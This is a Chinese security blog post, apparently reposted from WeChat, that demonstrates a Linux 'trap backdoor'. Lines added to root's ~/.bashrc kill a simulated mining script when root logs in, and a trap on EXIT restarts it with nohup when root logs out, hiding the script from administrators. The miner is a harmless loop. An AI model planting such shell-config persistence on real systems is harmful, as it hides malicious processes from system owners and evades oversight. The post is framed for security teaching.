结合之前的《trap使用》,在这里模拟一个挖矿程序,并通过trap将这个程序隐藏。编写如下"挖矿"程序(miner.sh),
while true; do
echo "Mining..."
sleep 5
done
程序的主体使用死循环,模拟挖矿程序CPU的高占用率的效果。再编写一个用于"隐藏挖矿"程序的程序(killer.sh,这里为了方便就直接使用kill命令删除"挖矿"进程)
PID=$(pgrep -f miner.sh)
if [ -n "$PID" ]; then
echo "Stopping miner.sh (PID: $PID)"
kill $PID
fi
trap后门常常与EXIT 信号关联,通过修改系统用户的 Shell 配置文件,在对应用户登录系统获取shell时就会触发用户的 Shell 配置文件中编写的代码(这里为了方便直接修改root用户的shell配置文件)。
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
nohup /home/richard/Desktop/killer.sh &
trap "nohup /home/richard/Desktop/miner.sh &" EXIT
当用户登录root用户时,将会关闭挖矿程序,但是当用户退出root时,就会重新启动挖矿程序。
[ROOT 登录]
root用户登录后,在普通用户的shell会话中使用
ps aux | grep miner.sh
查看是否存在异常进程,并没有发现挖矿程序被启动。
[ROOT 登出]
但是当用户登出后,再使用普通用户的shell会话查看是否存在异常进程,可以发现挖矿程序已经被重新启动了。
参考
[1]https://mp.weixin.qq.com/s/uXxJSvPDLtcnekOp5Zc-cA
原文始发于微信公众号(蟹堡安全团队):trap后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论